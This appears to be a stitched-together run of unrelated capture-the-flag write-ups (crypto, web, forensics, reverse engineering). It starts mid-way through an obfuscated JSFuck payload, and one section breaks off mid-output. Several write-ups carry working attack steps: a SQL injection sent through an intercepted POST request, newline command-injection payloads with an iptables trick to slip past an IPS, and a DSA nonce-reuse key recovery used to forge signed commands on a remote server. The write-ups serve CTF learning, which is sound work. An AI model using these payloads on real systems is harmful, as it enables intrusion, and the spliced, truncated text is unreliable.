+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()urlencode =>%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D((!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)()CODE{I_R3ST_MY_UPP3RC4SE!} |
By attempting to copy and paste the text displayed on the webpage, it is obvious the displayed characters are not the true text of the page. However, upon closer inspection, each displayed character represents a single text character. For example, the actual character '(' is - as a result of the font - displayed as a 'w'. Following the same pattern, the actual character '[' is displayed as 'L'. The fastest way to decrypt this large chunk of text would be to write a program that substitutes characters from the copied text to the character they display as. Pasting the text from the page into the program and having it substitute characters would produce you with a string identical to that which is displayed on the challenge's web page. Then, before your program ends, have it print out that new string hashed with MD5. Last, surround that hash value with the traditional tjctf{} format and you will end up with tjctf{232bd3180db2e7261ad2d94b725c9008} |
Using netcat (or the socket equivalent), go to p.tjctf.org on port 8008 (no longer running) and you can solve a few captchas at a time, unfortunately they require you answer 100 captchas in 30 seconds or less, which indicates you need to automate the process with a script. Although there are many different approaches to solving this problem, the easiest may be to divide the character output of the server into a two dimensional array, split the captcha up into characters, recognize each character (the ASCII drawing font can be found online), and send back the characters of the decoded captcha. After successfully completing 100 in before the server reaches 30 seconds, you will be provided with the flag: tjctf{p30PL3_4c7u4llY_D0_7H15} |
This challenge was meant to be introductory, low value, and was intended to inform you of the tjctf{flag} format. All you must do is copy the flag tjctf{y4y_u_R_5aN3} and paste it into the submission box (as instructed). |
# VolgaCTF 2016: lazy
## Challenge details| Event | Challenge | Category | Points ||:------|:----------|:---------|-------:|| VolgaCTF | lazy | Crypto | 250 |
### Description> There's some valuable data on the server. However, to retrieve it we can only execute "signed" commands. We have the server script and some other files. Dare to take a look at it?> > nc lazy.2016.volgactf.ru 8889> > [server key exit leave](challenge)
## Write-up
We're given a service that only accepts signed commands, let's take a look at the server code:
```python if not self.do_challenge(): raise Exception('Failed to pass the test') (p, q, g, x, y) = import_private_key(keys_file_path) while True: message = read_message(self.request) (r_str, s_str, cmd_exp) = message.split('\n') logger.debug('Accepting command {0}'.format(cmd_exp)) (r, s) = (mpz(r_str), mpz(s_str)) if not verify(cmd_exp, p, q, g, y, r, s): raise Exception('Signature verification check failed') cmd = shlex.split(cmd_exp)[0] if cmd == 'ls': ret_str = run_cmd(cmd_exp) send_message(self.request, ret_str) elif cmd == 'dir': ret_str = run_cmd(cmd_exp) send_message(self.request, ret_str)```
Here `do_challenge` is a simple proof-of-work function to deter brute-forcing and the like. Generation and verification of signatures is done with the following code:
```pythondef sign(data, p, q, g, x, k): r = pow(g, k, p) % q s = (invert(k, q) * (SHA1(data) + x * r)) % q return (r, s)
def verify(data, p, q, g, y, r, s): if not (r > 0 and r < q): return False if not (s > 0 and s < q): return False w = invert(s, q) u1 = (SHA1(data) * w) % q u2 = (r * w) % q v = ((pow(g, u1, p) * pow(y, u2, p)) % p) % q if v == r: return True else: return False```
We recognize this as the [Digital Signature Algorithm (DSA)](https://en.wikipedia.org/wiki/Digital_Signature_Algorithm). Signing is done with a private key, verification with a public key. So what do we have? We have the [public key](challenge/key.public) and two signatures: [leave.sig](challenge/leave.sig) and [exit.sig](challenge/exit.sig). Signatures come in the form `(r, s)` where `r = (g**k mod p) mod q` and `s = ((k**(-1) mod q) * (H(data) + x * r)) mod q`. Let's take a look at the signatures we have:
```[*] Signature(exit) (r = 618115531371374705088478644225735834217345085623, s = 172143370381913466209965676314309162396852880243)[*] Signature(leave) (r = 618115531371374705088478644225735834217345085623, s = 132450039864758067994560555212301135386357959258)```
We can see here that for both signatures `r` is identical which implies for both signatures the value `k` is identical. DSA requires `k` to be [unique, unpredictable and secret](http://rdist.root.org/2010/11/19/dsa-requirements-for-random-k-value/) and if this is not the case the private key is exposed.
Consider the following for two pieces of data `data1, data2` and their signatures `(r1, s1), (r2, s2)` where `r1=r2`:
and hence we can recover k as follows:
Once we have `k` we can recover the secret key `x` as follows from a given message `m` and its signature `(r,s)`:
Once we have the secret key we can craft signatures for every command we wish and effectively have a (limited) signed shell. The [following script](solution/lazy_crack.py) automates this:
```bash$ ./lazy_crack.py[*] Public key (p = 68512153291206841611754462560551037146984131865308362132039007763901629656419762685119654739431977137189082405306180782455460879808641023924533650186918387984473208103949939025064669161570420035977887544113169392280026656271303132002190980625983572858137777505730536249707595163952630465918222171776836844973, q = 778989982803454158276426691152625663891191165251, g = 64998036981102362704978476508972628582882576868369737500314734280328492119395180544097132899416011014425358276490367894352196112650427253804154125193997276351284916878713359366436205241155848152230136737798001316810221728002947999297364648683856119056494147087593939606104012882954758126871201581561126419354, y = 57256445660178680165036356665612916152021216483964990386924735528197218686220324233652057277625641326373730546367828989082916074941941027821863926510923998385446215270789891185067541626307704929851912451924146452244610185080849993156400989168309076549651410516049200914509815378543421307788428686312783632879)[*] Signature(exit) (r = 618115531371374705088478644225735834217345085623, s = 172143370381913466209965676314309162396852880243)[*] Signature(leave) (r = 618115531371374705088478644225735834217345085623, s = 132450039864758067994560555212301135386357959258)[+] Recovered k = 100100100154852483453737534537345357[+] Recovered x = 189484271473894423631545816033980054817048434088[+] Opening connection to lazy.2016.volgactf.ru on port 8889: Done[*] Got [fd4KqW2KDX6ke2OF] (21, 16), finding proof-of-work...[+] Found proof-of-work: [fd4KqW2KDX6ke2OFaSQur]$ lsexit.sigflag.txtkey.privatekey.publicleave.sigserver.py
$ cat flag.txtVolgaCTF{Do_not_be_lazy_use_nonce_only_once}``` |
Upon close inspection the image contains a dog holding an object with very lightly colored text. Opening the image file in a basic image editor such as Paint.NET, Photoshop, or Gimp and adjusting the contrast, saturation, and/or hue of the image would make the flag appear as tjctf{th3_f0x_jump3d_0v3r_m3} |
We Can Check The File Using file or Strings or hexdump or xxd To Get Some Informations About File This Memory Dump We Can Investigat it, I've Found A Solution Using Volatility Forensics Framework We Can Get Some Precess And Dll's And Administrator Password ....... ./volatility -f memdump.mem --profile=WinXPSP2x86 psscan ./volatility -f memdump.mem --profile=WinXPSP2x86 pslist ./volatility -f memdump.mem --profile=WinXPSP2x86 dlllist ..... Sorry For This Short Writeup because Players CTF Have Not Problem To Use Volatility FrameWork In This Challenge The Flag Like a KeyLogger Name Thats Why Nothing Seeying In Process list We Can Scan Command Line To Get Keylogger : who_names_keyloggers_like_this.exe Flag Is : who_names_keyloggers_like_this Warm Regards, By Soufiane Boussali |
<span>When clicking on the link, you are redirected to a YouTube video of children singing the alphabet backwards. After some figuring, it appears if you match the forward English alphabet with the English alphabet backwards, each letter will substitute into tjctf{n0t_a_ca3s4r_c1ph3r}. The cipher key looks something like this:</span><span>A B C D E F G H I J K L M N O P Q R S T U V W X Y ZZ Y X W V U T S R Q P O N M L K J U H G F E D C B A</span> |
This challenge takes some messing around, but if you monitor the data sent from the front end to the back end, you will soon realize they left a major hiccup in their security. All front end infrastructure and all data that hasn't reached the server can be altered. Normally web services will accept the exact text their user enters and sanitize (change to a safe format) characters used in SQL injections such as ';# on the server side. However, this service sanitizes the input, then sends it to the back end where it is immediately executed in an SQL statement. Since we can edit data after the form sends it and before the server receives it, we can put back in the infamous SQL injection using BurpSuite through Kali Linux, or through a simple POST request client. If you have change the data in the POST request to say ' OR 1=1;# then the SQL server will execute that and return all the luggage entries in the database. While reading through the long list of luggage identifiers, you should see the following flag: tjctf{th1s_m4d3_1t_e4s1er} |
Because the question points to the red bits, any experienced CTF'er knows this is a reference to least significant bit (LSB) steganography. LSB steganography operates by taking the end of RGB values (only red this time), representing them in binary form (0 - 255), then changing the last bit to either a 0 or a 1 so that when one collects a the ends of all the red bytes, it will reveal either a text flag, or the contents of an image that displays the flag. In this case, running the image through a trusty online steganography detector, will present to you an image with the following flag: tjctf{0dd5_4nd_3v3n5} |
#Insomni'hack CTF 2016 : Smartips
**Category:** Network **Level:** easy
> Description : Our smartcat was not so secure so we decided to add a powerful homemade smart IPS. No chance for you to have a flag now! :-)
##Write-up
We got a debugging web interface for this 'homemade IPS' which allow to do a ping from the server behind the IPS. Quickly, I understood that the IPS was filtering the IP input for the ping with a white list wich accept only numbers, letters and points. When an input have the right chars but a wrong or not accessible IP, we got :
```Error running ping -c 1 11.11.11.11```
This error is similare to a challenge from the teaser : [insomnihack-ctf-teaser-smartcat1-writeup](https://highon.coffee/blog/insomnihack-ctf-teaser-smartcat1-writeup/)
We were banging our head on the wall trying every kind of character class to evade the IPS and getting rejected mercilessly everytime. At that point, calling for reinforcements and re-reading the challenge description, we got suggestion from Beuc to attempt some packet filtering. After some analyse with wrong input that killed the connection "catched by the IPS", we saw that when we receive a 'RST ACK', the IPS continue to communicate even with the 'RST ACK'!
So the idea was to drop 'RST ACK' packets to continue to communicate with the server and then to bypass the homemade IPS rules.
```iptables -A INPUT -p TCP --tcp-flags ALL RST,ACK -s 10.13.39.30 -j DROP```
Then, I tried to insert the same command than is the teaser writeup `dest=192.168.5.105%0afind`
Bingo !
```PING 192.168.5.105 (192.168.5.105) 56(84) bytes of data.64 bytes from 192.168.5.105: icmp_seq=1 ttl=63 time=0.437 ms--- 192.168.5.105 ping statistics ---1 packets transmitted, 1 received, 0% packet loss, time 0msrtt min/avg/max/mdev = 0.437/0.437/0.437/0.000 ms../img./img/cat.jpg./.htaccess./this./this/smart./this/smart/ips./this/smart/ips/is..../this/smart/ips/is/not/so/smart/so/you/can/find/the/flag/here/flag./index.py```
Then `dest=192.168.5.105%0acat<./this/smart/ips/is/not/so/smart/so/you/can/find/the/flag/here/flag`
**Flag:** INS{$hitty_IPS_i$_n0t_so_U$eful}
[zbetcheckin](https://twitter.com/zbetcheckin) |
# Collision course
In this task, we were given a hasher binary (`foobar`) and a file, for which we had to finda collision (`collider`), that is a file, which passed as input to `foobar` gives the same hash.There could be many solutions, but only one of them makes sense (is an English text).
Analyzing the assembly, we can rewrite the binary into the following pseudocode:
```def hash(block): block^=A ROR(block, 7) block+=B ROL(block, 7) block*=C return block
state=0for 4-byte block in input: h=hash(block) state^=h ROR(state, 7) print state```
Since state is printed out after every iteration, we know every state. Let's denote them ass0, s1 and so on, where s0=0 (initial state).```s(i+1)=ROR( s(i)^hash(block), 7 )ROL( s(i+1), 7 )=s(i)^hash(block)hash(block) = s(i) ^ ROL( s(i+1), 7 )```So, since we know all s(i), we easily calculate all hashes of 4-byte blocks. Since 4 bytes arein the brute-force range (and the search space could be significantly lowered by consideringonly printable characters), we implemented the hash in `main.cpp` and brute-forced all fittinginput blocks. Output was not unique, but it was easy to choose the correct answer from the fewpossibilities. |
# CRC
In this task we were given 26 encrypted zip files. It is easy to notice though, that they havevery small size - they uncompress to 5 byte files. That means we should be able to brute forcethe actual contents, and check their validity using crc, since ZIPs contain CRC32 of their uncompressed contents:```[adam@adam-Y510P ~/CTF/backdoor/zipcrc]λ unzip -lv 0.zipArchive: 0.zip Length Method Size Cmpr Date Time CRC-32 Name-------- ------ ------- ---- ---------- ----- -------- ---- 5 Stored 5 0% 2015-11-26 19:49 a36bb2ae 0.txt-------- ------- --- ------- 5 5 0% 1 file```We listed all CRCs in `list`, and wrote a brute forcer - `check.cpp`. It looped over all printable5-character strings and calculated its CRC, after which it checked whether it fits any zip.
Unfortunately there were many collisions, so we wrote a quick visualizer showing possibilitesfor each zip (`parse.py`). Output:```[ p,id] [ func] [h&3o4] [func(] [) { e] [.ERM*] [H'9!R] [!LZW(] ["; fo] [ngxh4][t|g{] [r($i ] [PL]l4] [ESV$!] [^y#Hz] [Qp+Rx] [cho "] [lag: ] ['3!6] [p.;;4]
[!ol:4] [$i < ] [/}g!0] [8IJE<] [echo ] [.EOE8] [)VPL7] [ (($i][= 0; ] [8&|=4] [32; $] [Hu;@l] [y,4n4] [B6bA|] [E%}Hs] [<gt%}] [lBQW<] [TUQ9p] [bPZL8] [T:gAx] [^y>@h] [Yj!Ig] [qJIHu] [i++) ] [chr(0] [d{m!?] [udw(4] ['.)$] [x41 +]
[ ^ 0x] [-}u!1] [ 0x19] [)); e] [.ERM*] [,RS>p] [ao:tz] [2JHW<] [*4DeR][PbQ5(] [12) %] [<$0-] [5fg!q] [B6In] [@!~:4] [} fun] [Bv9Rl][q |
# Incomplete
In this task, we were given a pcap file containing a couple of HTTP requests. They mostly got "Partial Content" response, but asked for the same file. That meant we could extract the requestedfile, but with some small holes.
We have manually extracted the parts of files from the pcap into `24`, `38` and so on. Then,we wrote a Python script (`join.py`) joining them together, filling the empty places with 0xcc bytes (andalso printing their offsets, to avoid false positives). Quick inspection of the hexdump showedit was probably a PNG file - it contained IDAT and IEND strings, for example. We were unableto open it though, because it lacked header and was not even recognized as a valid PNG.
After adding the constant header in hexeditor, we still had problems with opening it - therewere complaints about invalid CRC in IDAT chunk. Well, we calculated it as well (using `pngcheck` utility) and fixedit (it was in position, where 4 bytes were missing). Later, we had to fix chunk names (easy,since all of them were IDAT, so no guessing here), and their lengths (also simple, becausein this PNG they all were the same size - 16000 bytes). The final missing byte was nota metadata though, but one of the data bytes. Since PNG chunks contain checksum, we couldjust brute force the missing byte and see if it gives us the correct checksum.
Fixing the image just in hexeditor would take us some time, so we wrote a simple script`fix.py`. It did nothing more than I described here, but semi-automatically, so that I can workon clean PNG every time.
The final result is `png3`. Note that it is too tall, because we had to guess the size - it waserased. The image is clearly visible though, so we submitted flag with no problems. |
## DTune (Misc, 70p)
###ENG[PL](#pl-version)
We get an [audio file](Dtune.wav) with recording of someone typing a password.We recognized the sounds as phone dial tones, and therefore we used an Audacity plugin to recognize which buttons were pressed:`8 44 33 0 333 555 2 4 0 444 7777 0 7777 44 2 2 5 6 0 666 333 0 33 7 222 3 44 99 44 6 222 2 77 9`
Initially we mistakingly merged the multiplied button presses and we thought we need to use T9 to recognize words.Only later we figured that it was plain old keyboard typing, which translated to:
`the flag is sha256 of EPCDHXHMCAQW`
###PL version
Dostaliśmy [plik audio](Dtune.wav) z nagraniem wpisywania hasła.Rozpoznalismy dźwięki jako dźwięki wybierania tonowego na klawiaturze telefonicznej i wykorzystaliśmy plugin do Audacity, aby rozpoznać które klawisze wybrano:`8 44 33 0 333 555 2 4 0 444 7777 0 7777 44 2 2 5 6 0 666 333 0 33 7 222 3 44 99 44 6 222 2 77 9`
Początkowo błędne skleiliśmy te same klawisze i próbowaliśmy dopasować słowa za pomocą T9.Dopiero później zorientowaliśmy się, że klawisze są wybierane w zwykły sposób i wpisany tekst tłumaczy się do:
`the flag is sha256 of EPCDHXHMCAQW ` |
## ISolve (PPC)
###ENG[PL](#pl-version)
The task was pretty obvious: the server provides us with a regular expression and we need to supply a string which can be matched by this regex.Since we're lazy we checked if someone has not done this already, and of course they did: https://bitbucket.org/leapfrogdevelopment/rstr/
So we simply write a short parser for the communication with server, and use `xeger` to get answers.We had to modify the xeger code a bit because it was generating `\n` in place of whitespace placeholders and the server was not handling this well, so we forced the library to use `\t` always for `\s`.There was also some issue with non-alphanumeric characters so we also forced those to a single chosen character.Rest was just the communication with the server:
```pythonimport rstrimport socketimport refrom time import sleep
def recvuntil(s, pattern, tryouts): data = "" for i in range(tryouts): sleep(1) data += s.recv(9999) if pattern in data: return data return data
def main(): url = "hack.bckdr.in" port = 7070 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((url, port)) while True: task = recvuntil(s, "Pass your solution:", 10) print(task) to_solve = re.findall("Your regex:\s+(.*)\s+Pass your solution", task) if len(to_solve) == 0: print(task) else: print("to solve = '%s'" % to_solve[0]) solution = rstr.xeger(to_solve[0]) print("solution = %s" % solution) s.sendall(solution + "\n")
main()```
Which gave:
```Passed regex! Way to go.####################################### ROUND 47 #####################################
Your regex:ab*
Pass your solution:
to solve = 'ab*'solution = abPassed regex! Way to go.Congratulations, you can now say ISOLVEflag{...}```
###PL version
Zadanie było dość oczywiste koncepcyjnie: serwer podaje nam wyrażenie regularne a my mamy zwrócić ciąg znaków, który będzie przez to wyrażenie przyjęty.Jako, że jesteśmy leniwi z natury, sprawdziliśmy czy ktoś już czegoś podobnego nie napisał i oczywiście ktoś taki się znalazł: https://bitbucket.org/leapfrogdevelopment/rstr/
W związku z tym napisalismy krótki parser do komunikacji z serwerem i użylismy `xegera` do uzyskiwania odpowiedzi.Musieliśmy lekko zmodyfikować kod biblioteki ponieważ generowała znaki `\n` jako białe znaki, a serwer sobie z tym nie radził zbyt dobrze, w związku z tym wymusiliśmy używanie `\t` zawsze dla `\s`.Były też jakieś problemy ze znakami nie-alfanumerycznymi i te także sprowadziliśmy do jednego wybranego znaku.Reszta to już tylko komunikacja z serwerem:
```pythonimport rstrimport socketimport refrom time import sleep
def recvuntil(s, pattern, tryouts): data = "" for i in range(tryouts): sleep(1) data += s.recv(9999) if pattern in data: return data return data
def main(): url = "hack.bckdr.in" port = 7070 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((url, port)) while True: task = recvuntil(s, "Pass your solution:", 10) print(task) to_solve = re.findall("Your regex:\s+(.*)\s+Pass your solution", task) if len(to_solve) == 0: print(task) else: print("to solve = '%s'" % to_solve[0]) solution = rstr.xeger(to_solve[0]) print("solution = %s" % solution) s.sendall(solution + "\n")
main()```
Co dało:
```Passed regex! Way to go.####################################### ROUND 47 #####################################
Your regex:ab*
Pass your solution:
to solve = 'ab*'solution = abPassed regex! Way to go.Congratulations, you can now say ISOLVEflag{...}``` |
## Hidden in Plain Sight (Forensics) tl;dr read the file before it's been decrypted
In this task, we're only given a mega download link.(https://mega.nz/#!6N0gmRLK!VsN9gLdiYbxMVTA-AdsRjsvezMpdEqiR9ngwrS6gR7k)
The hint is: `you need to know the basic principle behind how MEGA works in order to solve this challenge. Flag.txt is the flag, but it is hidden... in plain sight ;)`
Mega doesn't store keys to decrypt your data, you are given them with the url, in our case it's `AdsRjsvezMpdEqiR9ngwrS6gR7k`. The files are download to a sandbox using *FileSystem API*.
After the download is complete, the file is then decrypted using aes and passed to the normal download folder.
The downloaded flag looks like gibberish: `}Żv#ĘÖ›{QřČxJ?ZzŃ\??M÷2Ž¸IĆ&N˛<z´ŕ´„ĽĹ*‹—?ýk?/Ăõ`
Let's then try viewing the flag before it's been decrypted by using Chrome developer tools.
Bingo! |
��## Infinite Paths (Web)
tl;dr Make requests for http://hack.bckdr.in/INFINITE-PATHS/path/..../path//path
Each request to `http://hack.bckdr.in/INFINITE-PATHS/path/path/path/path/path/path/...` returns `Keep roaming buddy!`
Surprisingly `http://hack.bckdr.in/INFINITE-PATHS//path` gives us `A part of the flag(length=50) is: "Y"`
It turns out that we just have to make 50 requests to `"http://hack.bckdr.in/INFINITE-PATHS"+"/path"*N +"//path"` to get the full flag |
Catch Me!========
* **CTF:** [ASIS CTF Quals 2016](https://asis-ctf.ir/)* **Category:** Reverse* **Points:** 87* **Solves:** 51
> Catch me if you can!
You can download original binary below
[Catch_Me](Catch_Me)
In my opinion this task was hard but not because it was hard to reverse it but this task contains one funckup
this is x86_64 binary for linux
```b@eye:~/Desktop > ./Catch_MeFlag: ASIS{bad_bad_bad_bad_bad_bad}this flag is absolutely fake```
I started from analysis this binary in Ida Pro. There was not much assembly so weren't hard to find interesting places. Below I present assembly snippets with analysis:
firstly is called a big function which is quite complicated, I din't analyse this function. 4B of some operations on output of this functions are saved into a buffer 'xor_with_this'next it's checked if environment variable "ASIS" is defined, next 4B of environment variable "CTF" are xored with some value in ebxand the result of operation have to be equal 0FEEBFEEBh
it's not most challenging part of this task so I'm only saying that this command does the trick
```export CTF=`python -c'print "\x0a\xda\xf2\x4f"'````
4B of environment variable 'ASIS' are placed to (the same buffer as before) + 4
encrypted flag (32B) is xored with 8B of buffer 'xor_with_this'
next takes place some complicated operations only on data in 'xor_with_this', if result of these computation is equal to 954h, printed is real flag
I set a breakpoint on .text:00000000004005D6 movzx edx, ds:xor_with_this[rdx] and printed data in buffer xor_with_this ( I made export ASIS=aaaa before)
```gdb-peda$ x/8b 0x6012a80x6012a8: 0xb1 0x19 0x04 0xa1 0x61 0x61 0x61 0x61```
ok, I know 4 bytes should be 0xb1 0x19 0x04 0xa1
next 4 bytes I can brute force by setting value to environment variable 'ASIS' and running this binary again and again will be too slow
I just copied this asm code, pasted to "__asm__()" in C and modified following things: -changed jmp [adress] to jmp [label_name] -zeroed on the beginning rax and rdx just in case -removed useless code (printing that flag is bad) -when eax = 0x954, I'm calling a function which will print the flag -modified variables addresses in following way: I created global variables (and function printing the flag) in my C code, and created whole program, which prints addresses of these variables (and function printing the flag) when I firstly started this program it printed addresses of my variables and it crashed then I pasted addresses of my variables to assembly code and my program was working. probably you will have to change these values
here is my function after these modyfications:
```Cint check(void){ /* xor=0x601060 flag1=0x6010a0 flag2=0x6010b0 func_flag_ok=0x4005ed*/
__asm__( "xor %rax, %rax\n\t" //$rax=0 "xor %rdx, %rdx\n\t" //$rax=0 "beginning:\n\t" "mov %rax,%rdx\n\t" //$rdx=$rax "and $0x7,%edx\n\t" "movzbl 0x601060(%rdx),%edx\n\t" //xor_with_this "xor %dl,0x6010a0(%rax)\n\t" //flag1 "add $0x1,%rax\n\t" "cmp $0x21,%rax\n\t" "jne beginning\n\t" "movdqa 0x6010a0,%xmm0\n\t" //flag1 //"movdqa 0x200c8b(%rip),%xmm0 # 0x601280\n\t" "pxor %xmm4,%xmm4\n\t" "movdqa %xmm0,%xmm1\n\t" "pxor %xmm2,%xmm2\n\t" "punpcklbw %xmm4,%xmm1\n\t" "punpckhbw %xmm4,%xmm0\n\t" "movdqa %xmm1,%xmm3\n\t" "punpckhwd %xmm2,%xmm1\n\t" "punpcklwd %xmm2,%xmm3\n\t" "paddd %xmm3,%xmm1\n\t" "movdqa %xmm0,%xmm3\n\t" "punpckhwd %xmm2,%xmm0\n\t" "punpcklwd %xmm2,%xmm3\n\t" "paddd %xmm3,%xmm1\n\t" "paddd %xmm1,%xmm0\n\t" "movdqa 0x6010b0,%xmm1\n\t" //flag2 //"movdqa 0x200c5b(%rip),%xmm1 # 0x601290\n\t" "movdqa %xmm1,%xmm3\n\t" "punpckhbw %xmm4,%xmm1\n\t" "punpcklbw %xmm4,%xmm3\n\t" "movdqa %xmm3,%xmm4\n\t" "punpckhwd %xmm2,%xmm3\n\t" "punpcklwd %xmm2,%xmm4\n\t" "paddd %xmm4,%xmm0\n\t" "paddd %xmm3,%xmm0\n\t" "movdqa %xmm1,%xmm3\n\t" "punpckhwd %xmm2,%xmm1\n\t" "punpcklwd %xmm2,%xmm3\n\t" "paddd %xmm3,%xmm0\n\t" "paddd %xmm1,%xmm0\n\t" "movdqa %xmm0,%xmm1\n\t" "psrldq $0x8,%xmm1\n\t" "paddd %xmm1,%xmm0\n\t" "movdqa %xmm0,%xmm1\n\t" "psrldq $0x4,%xmm1\n\t" "paddd %xmm1,%xmm0\n\t" "movd %xmm0,%eax\n\t" "cmp $0x954,%eax\n\t" "je must_jump_here\n\t" "jmp bad_flag\n\t" "must_jump_here:\n\t" "callq 0x4005ed\n\t" //func_flag_ok "bad_flag:\n\t" "xor %rax, %rax" );}```
[here](cracker1.c) is my whole brute-forcer, note that the number of potential flags is:
```b@eye:~/Desktop > ./cracker | wc -l1623866```
I was thinking that something is bad in my code and I spent much time of thinking what's wrong
and next I will be talking about fuckup in this task I mentioned before
I've noticed that somewhere in the code is called ptrace it's anti-reversing technique [link](https://xorl.wordpress.com/2009/01/01/quick-anti-debugging-trick-for-gdb/)
